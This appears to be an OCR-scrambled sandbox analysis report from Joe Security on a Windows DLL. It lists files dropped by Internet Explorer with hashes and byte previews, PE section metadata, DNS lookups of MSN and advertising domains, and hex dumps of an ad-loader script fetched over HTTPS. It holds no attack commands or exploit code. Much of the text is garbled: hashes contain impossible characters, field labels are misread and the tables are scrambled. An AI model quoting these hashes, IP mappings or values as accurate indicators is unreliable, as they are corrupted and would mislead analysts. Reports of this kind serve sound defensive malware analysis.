.g"0.1>..Y. . x AT k... A0 ....0.3.{4..Z[ ai..5. k..}...Ud m..qB%.......60H..HA..4..A...)>..|.*L&.."M.Lkd.SI.P.Rb....G.W...Q%.;...H-f..0.>..~..Z..Q8J...S3_.. .2r1A.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\th[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 622x368, frames 3

Category: dropped

Size (bytes): 32683

Entropy (8bit):  7.961865477035161

Encrypted: false

SSDEEP: 768:S0W8csCyvZU10mvYf7f9sRrh+lu6gGhuhh5dnsh:Sucsyv6erpurGWh3sh

MD5: 906DD8716D280AC1FDBBC82ABF7F3DDA

SHAL: C87DBCA394C50603EFDC7E8352054022C1C4A2EL

SHA-256: A1D35A9272E9303913DDC4BB44C9E833294A4A8930C657A47FBF49134BB34705

SHA-512: 502B7E878BCE57AE891DFC568D58982A4B92BDBB670A2BFA3168A1C54DE68D83F244400A4EDE289721C802B57DCF38DIE25F37CI9BABIS55A6BI5SEDSC8BEIDIF
67

Malicious: false

Preview:
...... JFIF...HH.o..Cooorre.$ 86 #'(-90(*6+"#2D26;=@ @ @&OFKE>J9?@=...C...........5)#)

>..P.d.clri@.R.C.
kJ...xn$.}

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellIE\WJ8I120L4\4996b9[1].woff

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: Web Open Font Format, TrueType, length 45633, version 1.0

Category: dropped

Size (bytes): 45633

Entropy (8bit):  6.523183274214988

Encrypted: false

SSDEEP: 768:GiE2wcDeO5t68PKACTgVEWZfaDDXLQO+nSECIr1X/7BXq/SHOCI7dA7Q/BOWKAFO:82/DeO5M8PKASCZSvxQO+TCPXtUSHF7¢c
MD5: A92232F513DC07C229DDFA3DE4979FBA

SHAL: EBBE465AE947709D5215269076F99766B53AE3D1

SHA-256: FA77B53BF5E6E10FA78C41DEAF32FA4D78A657D7B2EFE85B35C06886C7191BB9

SHA-512: 32A33CCID6F2F1C962174F6CC636053A4BFA29A287AF72B2E2825D8FA6336850C902AB3F4C07FB4BF0158353EBBD36C0D367A5E358D9840D70B90B93DB2AESZ
Malicious: false
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\WJ8I120L4\4996b9[1].woff

Preview:

WOFF......Auieeene ,.0S/2..p.. . BY.cmap.. s G.glyf.......,...,0..Hhead....... 6...6....hhea...,..$..$...hmtx............ ($LKloca...”...f...f...maxp...P... ... ... name...
IU..post....... ... . F e LA <o ende K P Z T B HL .@..U.foe
\d\d...d.ed.Z.d.b.d4.d.= decd]ddedbdfd .dAd.(d.b.d”db.db.d.d.d_.d._.d..d.dP.d.0.db.db.dP.dud.cd?d._.dqgd._.dddb.d._.d._.d.
bdadbdadbd d..d~rdnd d[d...d...d$.dpd..d.d"d._dT.d..db.db.db.did.d.d..d. d d7d"dXd]d)dIdIdbdbd .d.,.d.b.d.b.d...d...d...d.7.d.b.d.1.
d.b.d.b.d...d..d..d...d...d.Ad...d..d.(.d.” .d...d...d.".d.r.d.f.d.,.d.b.d...d.b.d._.d.q.d...d...d.b.d.b.d.b.d.b.d...d.r.d.I.d._.d.b.d.b.d.b.d.V.d.Z.d.b.d

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\WJ8I120L4\AA6WTdK[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category: dropped

Size (bytes): 550

Entropy (8bit):  7.444195674983303

Encrypted: false

SSDEEP: 12:6v/7jGhB1J/EfQCF2bAVNVYxZxdgQ+Jly9XD5hb6Fg9a6:ZJOf0APgfG+oloFgc6

MDS5: 6468CE276C808DA186AEF8AALI0ABSDCC

SHA1L: F11A97DE272DAE4A61EC9990DEA171EFCF39B742

SHA-256: CF782CCB89F554E9ACF21D36909F6AC19DDE218BF0250179B48CDAB67728912B8

SHA-512: 6439670A62A38D289374812D5DACCE219D01E19F5CC4CEC4105F72BA703BF70078FC92DFD2A2C43669AA78EE8D03121E234E53DD3C73DF6CFBI84049CE3637!
Malicious: false

Preview:

IDATX..R.0.Q.=...Z.mg0-0'M....t...0ggjM.... .tg.&R..p...$.....0P.R.M.A #.....=H.(1......5.}.0GOC..M.&.S>..W....t..A.}
oW (3. 9W.~>.G@.F...Q.BX.AW....0.g|.B.q......_M..T4....J.G.....}B7...BLL.W3.hW....+..p..D.....&#.h..D....T....V
K.pyooornn @S.05.2.1).&.....<{ad3.P.,M...H.W........SI%.WX.¢>..8.....ZV.n.U......\..... .7....[END.B".

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\WJ8I120L4\AANuZgF[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category: dropped
Size (bytes): 750
Entropy (8bit):  7.653501615166515
Encrypted: false
SSDEEP: 12:6v/7Wrv0Y7COhH4wY2zKLIIsmUhrpB02KYMYVv7LLMVjcSOmNUfozbbj3rtpQd3HO:xrcY OEV3KLXfIBOMYjHMVIOmKozbH3hv
MD5: 93D77F5C5FFACEBAL12A1ABFC6190B947
SHA1L: 8001474A7342EBF760C66F1C30E48E32E00F2AF3
SHA-256: E6DA934C90931C6089ADB3D213DDD70C7104D0A182A98AB1C663CEDAE37F83AL
SHA-512: D5F874DF89D82CC819B7D591766300FC701FOE1FFC6055D4CC4BAS5F10674F88EDDASG5EB1FAS7886AC16A57926EBBBCIA108D45D057D76B904383247CE7TEA
Malicious: false
Preview:
IHDR................ a...pHYs.......... +.....IDATX..S]JHSq...~.F.af...j.i.(.cce. . [JE.c.....(.\5.a X b.SM].M{;...2.... 2.5 }*.8S.._|..EEA....... *$Q..A#N;.d2.a.UU.
“$..../Fhmr.st+.3Y..(.0.. U8\ G K..... /.Aq....E...>.EQ.A+.j..Y..SA0K“. P.%.z...h..=.C>.".YD....1."3x......2.1.....$dld. @4U..iG*... [c kg.h...._~.?
6 ..... u ANA...68.]"...APv*..$h“..SA..!...7..h..C"1 "1, LsFa<l) L X ewe dn[u Vg ENLLLLOLR LY LY . aOMUIN AL tida.. ... z...AyR[@ ......... b'h.jmd...
JooorP.B.p9...U..WQ.EJNLpI.XJ...... x..BA..,6A.HT.S.XZH..a.(kA..Af.#.4z“Z 9.9.0.$Z..@Y.......Buvrne. IEND.B".
Static File Info
General
File type: PE32 executable (DLL) (GUI) Intel 80386, for MS Wi
ndows
Entropy (8bit): 6.726180226254847
TriD: e Win32 Dynamic Link Library (generic) (1002004/3)
99.60%
e Generic Win/DOS Executable (2004/3) 0.20%
e DOS Executable Generic (2002/1) 0.20%
e Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%
File name: AP8cSQS6y5.dll
File size: 829440
MDS5: d706a7c97207b34d7e672273064a280d
SHA1L: 9055721bc7129d62c2d9d3656592e2a3c190b052
SHA256: fd45e46e06310bf7df9e0a2690b545c19c6a6cf7504c3ffc
6f701f28c7ce8b2d
SHA512: c13d4e2f0e678ae74b86c8e1820ec12a25ec84f4b6b7d9t
al722c809a720fc76f95ed32dbaf89f94ea5e9e573c2812
1dd5c80bc742c53ef04bad0fc25b7dc7fa
SSDEEP: 12288:5e62IbUp6cgHVysjTESOauETHIAGbOX4NNVjmF
uu4l7Sk4BwhWyy6WOWTbhsQ:5e6 TO6hHXEYHI4GbO
XANNOV77syET9s
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General

File Content Preview:

File Icon

Icon Hash:

Static PE Info

General

Entrypoint:

Entrypoint Section:
Digitally signed:
Imagebase:

Subsystem:

Image File Characteristics:
DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Entrypoint Preview

Data Directories

Sections

Name  Virtual Address Virtual Size Raw Size Xored PE
text 0x1000 0xa5645 0xa5800 False
.rdata 0xa7000 0x12d78 0x12e00 False
.data 0xba000 0xf6d8 Oxea00 False
.reloc 0xca000 0x33c8 0x3400 False
Imports

Exports

Network Behavior

Network Port Distribution

TCP Packets

Copyright Joe Security LLC 2021

MZ.ooiiiiicne @ I.LITh
is program cannot be run in DOS mode....$......... #1.M.1.
M.LM.JN.JM.]H..M]IAM]LIM.LL. M...LF.M..NAM

~H.M.LN.M.NHM..HEM..H{M..I\M..M.HM

74f0e4ecccdceOed

0x10086b9b

text

false

0x10000000

windows gui

32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DYNAMIC_BASE, NX_COMPAT

0x61A8811A [Thu Dec 2 08:17:30 2021 UTC]

o o O o o o

e1cf68522b8503bd17e1ch390e0c543b

ZLIB Complexity File Type Entropy
0.474065037292 data 6.66550908033
0.547327711093 data 5.9880767358
0.181189903846 data 4.59514754582
0.779522235577 data 6.64818047623

Characteristics

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DA
TA,
IMAGE_SCN_MEM_DISCARDABLE,
IMAGE_SCN_MEM_READ
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UDP Packets

DNS Queries

Timestamp

Dec 3, 2021 01:05:10.313710928 CET

Dec 3, 2021 01:05:14.187159061 CET

Dec 3, 2021 01:05:14.515135050 CET
Dec 3, 2021 01:05:17.098124981 CET
Dec 3, 2021 01:05:17.187931061 CET
Dec 3, 2021 01:05:19.481471062 CET
Dec 3, 2021 01:05:19.493731976 CET
Dec 3, 2021 01:05:22.346060991 CET
Dec 3, 2021 01:05:24.339163065 CET
Dec 3, 2021 01:05:27.337795019 CET
Dec 3, 2021 01:05:27.342160940 CET
Dec 3, 2021 01:05:28.103804111 CET

Dec 3, 2021 01:05:28.123867035 CET

DNS Answers

Timestamp Source IP

Dec 3, 2021
01:05:10.332895994
CET

Dec 3, 2021
01:05:14.206870079
CET

Dec 3, 2021
01:05:14.535909891
CET

Dec 3, 2021
01:05:17.119860888
CET

Dec 3, 2021
01:05:17.210448980
CET

Dec 3, 2021
01:05:19.502546072
CET

Dec 3, 2021
01:05:19.514461994
CET

Dec 3, 2021
01:05:22.366173029
CET

Dec 3, 2021
01:05:22.366173029
CET

Dec 3, 2021
01:05:22.366173029
CET

Dec 3, 2021
01:05:24.358459949
CET

Dec 3, 2021
01:05:24.358459949
CET

Dec 3, 2021
01:05:27.357738972
CET

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8
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Dest IP
192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Source IP

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Trans ID

Oxaclf

Oxed59

0xa571

0x9e3b

Ox6aa5

0xb2b4

Oxe72c

Ox6adf

Ox6adf

Ox6adf

0x26d1

0x26d1

Oxa6e8

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Trans ID

Oxaclf

Oxed59

0xa571

0x9e3b

Ox6aa5

0xb2b4

Oxe72c

Ox6adf

0x26d1

Oxa6e8

Oxeacl

0xd685

0xe823

Name

www.msn.com

browser.ev
ents.data.
msn.com

contextual

.media.net

Ig3.media.net

hblg.media.net

cvision.me

dia.net

assets.msn.com

btloader.com

btloader.com

btloader.com

srtb.msn.com

www.msn.com

ad.doublec
lick.net

OP Code
Standard query
(0

Standard query
(0

Standard query
(0
Standard query
©
Standard query
0
Standard query
(0)
Standard query
(0)
Standard query
©
Standard query
@
Standard query
)
Standard query
)
Standard query
)
Standard query
(©)

CName

Name

www.msn.com

browser.ev
ents.data.
msn.com

contextual
.media.net
Ig3.media.net
hblg.media.net
cvision.media.net
assets.msn.com
btloader.com
srth.msn.com
ad.doublec
lick.net
ad-delivery.net
img.img-ta

boola.com

s.yimg.com

Address

www-msn-com.a-0003.a-

msedge.net

global.asimov.events.data

.trafficmanager.net

23.211.6.95

23.211.6.95

23.211.6.95

cvision.media.net.edgeke

y.net

assets.msn.com.edgekey.

net

www.msn.com

172.67.70.134

104.26.6.139

104.26.7.139

www-msn-com.a-0003.a-

msedge.net

dart.l.doubleclick.net

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Type
CNAME
(Canonical
name)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)
CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

CNAME
(Canonical
name)
CNAME

(Canonical
name)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class
IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0Xx0001)

IN (0x0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP

Dec 3, 2021 8.8.8.8
01:05:27.357738972

CET

Dec 3, 2021 8.8.8.8
01:05:27.364330053

CET

Dec 3, 2021 8.8.8.8
01:05:27.364330053

CET

Dec 3, 2021 8.8.8.8
01:05:27.364330053

CET

Dec 3, 2021 8.8.8.8
01:05:28.123749971

CET

Dec 3, 2021 8.8.8.8
01:05:28.123749971

CET

Dec 3, 2021 8.8.8.8
01:05:28.123749971

CET

Dec 3, 2021 8.8.8.8
01:05:28.123749971

CET

Dec 3, 2021 8.8.8.8
01:05:28.123749971

CET

Dec 3, 2021 8.8.8.8
01:05:28.143243074

CET

Dec 3, 2021 8.8.8.8
01:05:28.143243074

CET

Dec 3, 2021 8.8.8.8
01:05:28.143243074

CET

Dest IP
192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

HTTP Request Dependency Graph

e https:

.

e o o o

btloader.com
ad.doubleclick.net
ad-delivery.net
img.img-taboola.com
s.yimg.com

e 172.104.227.98

HTTPS Proxied Packets

Trans ID

Oxa6e8

Oxeacl

Oxeacl

Oxeacl

0xd685

0xd685

0xd685

0xd685

0xd685

0xe823

0xe823

0xe823

Session ID Source IP Source Port

0 192.168.2.3 49808
kBytes

Timestamp transferred Direction

2021-12-03 00:05:23 UTC 0 ouT
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Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name CName Address

dart.l.dou 142.250.203.102
bleclick.net
ad-delivery.net 104.26.2.70
ad-delivery.net 104.26.3.70
ad-delivery.net 172.67.69.19
img.img-ta tls13.taboola.map.fastly.n
boola.com et
tls13.tabo 151.101.1.44
ola.map.fa
stly.net
tls13.tabo 151.101.65.44
ola.map.fa
stly.net
tls13.tabo 151.101.129.44
ola.map.fa
stly.net
tls13.tabo 151.101.193.44
ola.map.fa
stly.net
s.yimg.com edge.gycpi.b.yahoodns.n

et
edge.gycpi 87.248.118.22

.b.yahoodns.net

edge.gycpi 87.248.118.23
.b.yahoodns.net

Destination IP  Destination Port Process

172.67.70.134 443

Data

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

C:\Program Files (x86)\Internet Explorer\iexplore.exe

GET /tag?0=6208086025961472&upapi=true HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: https://www.msn.com/de-ch/?ocid=iehp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate

Host: btloader.com

Connection: Keep-Alive

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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kBytes

Timestamp transferred

2021-12-03 00:05:23 UTC 0

2021-12-03 00:05:23 UTC 1

2021-12-03 00:05:23 UTC 1

2021-12-03 00:05:23 UTC 2

2021-12-03 00:05:23 UTC 4

2021-12-03 00:05:23 UTC 5

2021-12-03 00:05:23 UTC 7

Copyright Joe Security LLC 2021

Direction

IN

Data

HTTP/1.1 200 OK

Date: Fri, 03 Dec 2021 00:05:23 GMT

Content-Type: application/javascript

Content-Length: 10228

Connection: close

Cache-Control: public, max-age=1800, must-revalidate

Etag: "9797e32e55e3f8093ab50fb8720d0aa7"

Vary: Origin

Via: 1.1 google

CF-Cache-Status: HIT

Age: 2958

Accept-Ranges: bytes

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\/\v3?s=9620TxqBVUmM5j9CqbVTWTq76nrw4v4HQ
zWhbnall4hnaeAkLsJLCgdoU6mDtDaEvISJaZqYcC7a2Zyklwrguhti%2FFactXx6DYZUe07VjKIz1%2BFGViF86MZy
M31g173w%3D%3D"}],"group":"cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 6b788b0768864ddc-FRA

Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 72 28
65 2c 69 2c 63 2c 6¢ 29 7h 72 65 74 75 72 6e 20 6e 65 77 28 63 3d 63 7c 7c 50 72 6f 6d 69 73 65 29 28 66 75 6e 63 74
69 6f 6e 28 6e 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 74 72 79 7b 72 28 6¢ 2e 6e 65 78 74 28 65 29 29 7d
63 61 74 63 68 28 65 29 7b 74 28 65 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7h 74 72 79 7b 72 28 6¢ 2e 74 68
72 6f 77 28 6529 29 7d 63 61 74 63 68 28 65 29 7b 74 28 65 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 29 7b 76 61 7
2 20 74 3b 65 2e 64 6f 6e 65 3f 6e 28 65 2e 76 61 6¢ 75 65 29 3a 28 28 74 3d 65 2e 76 61 6¢ 75 65 29 69 6e 73 74 61 6e
63 65 6f 66 20 63 3f 74 3a 6e 65 77 20 63 28 66 75 6e 63 74 69 6f

Data Ascii: [function(){"use strict";function r(e,i,c,l){return new(c=c||Promise)(function(n,t){function o(e){try{r(l.next(e))}cat
ch(e){t(e)}}function a(e){try{r(l.throw(e))}catch(e){t(e)}}function r(e){var t;e.done?n(e.value):((t=e.value)instanceof c?t:new
c(functio

Data Raw: 6f 6e 28 74 29 7b 69 66 28 61 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65
7261 74 6f 72 20 69 73 20 61 6¢ 72 65 61 64 79 20 65 78 65 63 75 74 69 6e 67 2e 22 29 3b 66 6f 72 28 3b 63 3b 29 74 72
79 7b 69 66 28 61 3d 31 2c 72 26 26 28 69 3d 32 26 74 5b 30 5d 3f 72 2e 72 65 74 75 72 6e 3a 74 5b 30 5d 3f 72 2e 74 68
72 6f77 7c 7c 28 28 69 3d 72 2e 72 65 74 75 72 6e 29 26 26 69 2e 63 61 6¢ 6¢ 28 72 29 2c 30 29 3a 72 2e 6e 65 78 74
2926 26 21 28 69 3d 69 2e 63 61 6¢ 6¢ 28 72 2c 74 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 69 3b 73 77
69 74 63 68 28 72 3d 30 2¢ 69 26 26 28 74 3d 5b 32 26 74 5b 30 5d 2c 69 2e 76 61 6¢ 75 65 5d 29 2c 74 5b 30 5d 29 7b 6
361 736520303a6361736520313a69 3d 74 3b62726561

Data Ascii: on(t){if(a)throw new TypeError("Generator is already executing.");for(;c;)try{if(a=1,r&&(i=2&t[0]?r.return:t[0]?
r.throw||((i=r.return)&&i.call(r),0):r.next)&&!(i=i.call(r,t[1])).done)return i;switch(r=0,i&&(t=[2&t[0],i.value]),t[0]){case O:case
1l:i=t;brea

Data Raw: 61 70 70 65 6e 64 43 68 69 6¢ 64 28 65 29 7d 29 7d 76 61 72 20 75 2c 61 2c 64 2c 62 2c 6d 3b 75 3d 22 36 32
3038 30 38 36 30 32 35 39 36 31 34 37 32 22 2c 61 3d 22 62 74 6¢ 6f 61 64 65 72 2e 63 6f 6d 22 2c 64 3d 22 61 70 69 2e
62 74 6¢ 6f 61 64 65 72 2e 63 6f 6d 22 2¢c 62 3d 22 32 2e 30 2e 32 2d 32 2d 67 66 64 63 39 30 35 34 22 2¢ 6d 3d 22 22 3b
76 61 72 20 6f 3d 7b 22 6d 73 6e 2e 63 6f 6d 22 3a 7b 22 63 6f 6e 74 65 6e 74 5f 65 6e 61 62 6¢ 65 64 22 3a 74 72 75 65
2c 22 6d 6f 62 69 6¢ 65 5f 63 6f 6e 74 65 6e 74 5f 65 6e 61 62 6¢ 65 64 22 3a 66 61 6¢ 73 65 2C 22 77 65 62 73 69 74 65
5f 69 64 22 3a 22 35 36 37 31 37 33 37 33 38 38 36 39 35353532 22 7d 7d 2c 77 3d 7b 74 72 61 63 65 49 44 3a 66 75
6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 69 66 28 21 65 7c

Data Ascii: appendChild(e)})}var u,a,d,b,m;u="6208086025961472" a="btloader.com”,d="api.btloader.com",b="2.0.2-2-
gfdc9054", m="";var o={"msn.com":{"content_enabled":true,"mobile_content_enabled":false,"website_id":"5667173
7388695552"}},w={tracelD:function(e,t,n){if('e|

Data Raw: 62 73 69 74 65 49 44 3d 6f 5b 6e 5d 2e 77 65 62 73 69 74 65 5f 69 64 2c 70 2e 63 6f 6e 74 65 6e 74 45 6e 61
62 6¢ 65 64 3d 6f 5b 6e 5d 2e 63 6f 6e 74 65 6e 74 5f 65 6e 61 62 6¢ 65 64 2¢ 70 2e 6d 6f 62 69 6¢ 65 43 6f 6e 74 65 6e
74 45 6e 61 62 6¢ 65 64 3d 6f 5b 6e 5d 2e 6d 6f 62 69 6¢ 65 5f 63 6f 6e 74 65 6e 74 5f 65 6e 61 62 6¢ 65 64 29 3b 74 7¢
7c 28 28 6e 65 77 20 49 6d 61 67 65 29 2e 73 72 63 3d 22 2f 2f 22 2b 64 2b 22 2f 6¢ 3f 65 76 65 6e 74 3d 75 6e 6b 6e 6f
77 6e 44 6f 6d 61 69 6e 26 6f 72 67 3d 22 2b 75 2b 22 26 64 6f 6d 61 69 6e 3d 22 2b 65 29 7d 28 29 2c 77 69 6e 64 6f 77
2e 5f 5f 62 74 5f 74 61 67 5f 64 3d 7b 6f 72 67 49 44 3a 75 2c 64 6f 6d 61 69 6e 3a 61 2c 61 70 69 44 6f 6d 61 69 6e 3a 64
2c 76 65 72 73 69 6f 6e 3a 62 2c 77 65 62 73 69 74 65

Data Ascii: bsitelD=0[n].website_id,p.contentEnabled=o[n].content_enabled,p.mobileContentEnabled=o[n].mobile_c
ontent_enabled);t||((new Image).src="//"+d+"/I?event=unknownDomain&org="+u+"&domain="+e)}(),window.__bt_tag_d=
{orgID:u,domain:a,apiDomain:d,version:b,website

Data Raw: 61 74 68 2e 74 72 75 6e 63 28 31 30 30 2a 28 2b 6f 2b 30 29 29 2c 6d 61 78 3a 4d 61 74 68 2e 74 72 75 6e 63
28 31 30 30 2a 28 2b 6f 2b 30 2b 74 29 29 7d 2c 6f 2b 3d 74 7d 29 7d 76 61 72 20 6c 3d 74 5b 30 5d 3b 69 66 28 6e 75 6¢
6c 21 3d 6¢ 26 26 6¢ 2e 62 75 6e 64 6¢ 65 73 29 7b 76 61 72 20 73 3d 6f 2c 75 3d 31 2d 6f 3b 4f 62 6a 65 63 74 2e 6b 65
7973 28 6¢ 2e 62 75 6e 64 6¢ 65 73 29 2e 73 6f 72 74 28 29 2e 66 6f 72 45 61 63 68 28 66 75 6 63 74 69 6f 6e 28 65 29
7b 76 61 72 20 74 3d 6¢ 2e 62 75 6e 64 6¢ 65 73 5b 65 5d 3b 69 5b 65 5d 3d 7b 6d 69 6e 3a 4d 61 74 68 2e 74 72 75 6e
63 2831 30 30 2a 28 73 2b 75 2a 61 29 29 2c 6d 61 78 3a 4d 61 74 68 2e 74 72 75 6e 63 28 31 30 30 2a 28 73 2b 75 2a
2861 2b 742929 29 7d 2c 61 2b 3d 74 7d 29 7d 76 61 72 20 64

Data Ascii: ath.trunc(100*(+0+0)),max:Math.trunc(100*(+0+0+t))},0+=t})}var I=t[0];if(null!=I&&I.bundles){var s=o,u=1-0;0
bject.keys(l.bundles).sort().forEach(function(e){var t=I.bundles[e];i[e]={min:Math.trunc(100*(s+u*a)),max:Math.trunc(100*
(stu*(att)))},at+=t})}var d

Data Raw: 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 43 75 73 74 6f 6d 45 76 65 6e 74
2229 3b 61 2e 69 6e 69 74 43 75 73 74 6f 6d 45 76 65 6e 74 28 74 2c 6e 2e 62 75 62 62 6¢ 65 73 2 6e 2e 63 61 6e 63

65 6¢ 61 62 6¢ 65 2C 6€ 2e 64 65 74 61 69 6¢ 29 2C 77 69 6e 64 6f 77 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 61 29
7d 66 3d 7b 22 67 6¢ 6f 62 61 6¢ 22 3a 7b 22 64 69 67 65 73 74 22 3a 35 37 31 32 39 37 33 31 32 34 33 33 37 36 36 34
2c 22 62 75 6e 64 6¢ 65 73 22 3a 7b 22 35 37 31 32 39 37 33 31 32 34 33 33 37 36 36 34 22 3a 30 2e 35 7d 7d 7d 2c 77
69 6e 64 6f 77 2e 5f 5f 62 74 5f 69 6e 74 72 6e 6¢ 3d 7b 74 72 61 63 65 49 44 3a 77 2e 74 72 61 63 6549 44 7d 3b 74 72
79 7b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 72 28 74 68 69 73 2c 76

Data Ascii: a=document.createEvent("CustomEvent");a.initCustomEvent(t,n.bubbles,n.cancelable,n.detail),window
.dispatchEvent(a)}f={"global":{"digest":5712973124337664,"bundles":{"5712973124337664":0.5}}},window.__bt_intrnl=
{tracelD:w.tracelD};try{!function(){r(this,v
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kBytes
Timestamp transferred

2021-12-03 00:05:23 UTC 8

2021-12-03 00:05:23 UTC 9

2021-12-03 00:05:23 UTC 11

Session ID Source IP

1 192.168.2.3
kBytes

Timestamp transferred

2021-12-03 00:05:27 UTC 11

2021-12-03 00:05:27 UTC 11

2021-12-03 00:05:27 UTC 12

2021-12-03 00:05:27 UTC 13

Session ID Source IP

2 192.168.2.3

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49816

Direction

ouT

Source Port

49818

Data

Data Raw: 22 74 72 75 65 22 3d 3d 6¢ 6f 63 61 6¢ 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 66 6f 72 63 65 43
6f 6e 74 65 6e 74 22 29 7c 7c 70 2e 63 6f 6e 74 65 6e 74 45 6e 61 62 6¢ 65 64 2c 70 2e 6d 6f 62 69 6¢ 65 43 6f 6e 74 65
6e 74 45 6e 61 62 6¢ 65 64 3d 22 74 72 75 65 22 3d 3d 6¢ 6f 63 61 6¢ 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22
66 6f 72 63 65 4d 6f 62 69 6¢ 65 43 6f 6e 74 65 6e 74 22 29 7c 7c 70 2e 6d 6f 62 69 6¢ 65 43 6f 6e 74 65 6e 74 45 6e 61
62 6¢ 65 64 29 2c 70 2e 77 65 62 73 69 74 65 49 44 26 26 70 2e 63 6f 6e 74 65 6e 74 45 6e 61 62 6¢ 65 64 26 26 28 21
28 6e 3d 2f 28 61 6e 64 72 6f 69 64 7c 62 62 5¢ 64 2b 7c 6d 65 65 67 6f 29 2e 2b 6d 6f 62 69 6¢ 65 7c 61 76 61 6e 74 67
6f 7c 62 61 64 61 5¢ 2f 7c 62 6¢ 61 63 6b 62 65 72 72 79 7C

Data Ascii: "true"==localStorage.getltem("forceContent")||p.contentEnabled,p.mobileContentEnabled="true"==loca
IStorage.getltem("forceMobileContent")||p.mobileContentEnabled),p.websitelD&&p.contentEnabled&&(!(n=/(android|
bb\d+|meego).+mobile|avantgo|badaV/|blackberry|

